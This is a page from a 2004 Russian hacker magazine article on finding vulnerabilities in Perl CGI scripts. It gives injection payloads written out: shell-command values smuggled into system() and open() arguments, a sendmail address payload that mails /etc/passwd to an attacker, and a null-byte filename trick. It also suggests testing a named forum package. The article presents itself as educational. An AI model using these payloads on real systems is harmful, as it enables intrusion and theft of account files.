Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #65, МАЙ 2004 г.

Почувствуй себя багоискателем

Докучаев Дмитрий aka Forb

Xakep, номер #065, стр. 065-060-6


Известные ошибки в Perl

Вот список популярных уязвимостей в публичных CGI-скриптах (часть из них я уже перечислил):

1. Изменение неявно заданного параметра в функциях open() и system(). К примеру, в коде встречается конструкция system("cat script|grep $file"), а $file передается скрипту в качестве опции. Никто не запрещает присвоить $file="; ls -la > out.txt", а затем просмотреть результат выполнения команды. То же самое в open. Как я уже говорил, переменную-файл можно установить равной "|ls -la", что приведет к выполнению внешней команды.

2. Использование неявного открытия sendmail. При конструкции open("|/usr/sbin/sendmail $address"), можно выполнить команду, задав адрес равным "xakep@host.com << /etc/passwd". После этого файл с учетными записями придет на мыло хакеру.

3. Использование нуль-байта. Допустим, мы имеем следующий код:

$base="$input.db";

open(FILE,"<$base");

Если мы передадим скрипту input=num, то скрипт попытается открыть файл num.db. А если передадим input=num%00, Perl создаст $base="num\0.db" и попытается открыть файл num. Если файл существует, то он и будет прочитан. Все потому, что в Перле нуль-байт не означает конец строки, а воспринимается как часть данных, передающаяся C-функциям на обработку. А в Си этот байт есть EOL, поэтому обработка на нем обрывается.

4. SQL-injection. Эта уязвимость появилась после привязки Perl к базе данных. Она позволяет вывести произвольный запрос на экран (например, листинг аккаунтов системы) путем хитрой подстановки значений параметров. Подробнее об SQL-injection ты можешь прочитать в предыдущих выпусках Х.

INFO

В качестве домашнего задания можешь проверить на уязвимость известный продвинутый форум iconboard. Слить его можешь отсюда: http://gross.unact.ru/download/ikonboard/Ib219rus_3.zip.

CD

На компакте ты обнаружишь свежую версию wtboard (для твоих злых экспериментов), Apache + ActivePerl под винду, а также пропатченную "secured"-версию форума от X.

WWW

В статье я назвал лишь основные баги. Об остальных CGI-уязвимостях ты можешь прочесть на www.opennet.ru/base/sec/cgi_security.txt.html.

Warning

Не стоит забывать, что статья дана лишь для ознакомления и организации правильной защиты с твоей стороны. За применение данного материала в незаконных целях автор и редакция ответственности не несут.

INFO

Не отчаивайся, если не нашел багу после первого просмотра сорцов. Экспериментируй и насилуй hidden-параметры и подозрительные опции, затем снова возвращайся к сорцам, меняй их, добавляй debug-информацию, и тогда удача тебе обязательно улыбнется!

Назад на стр. 065-060-5  Содержание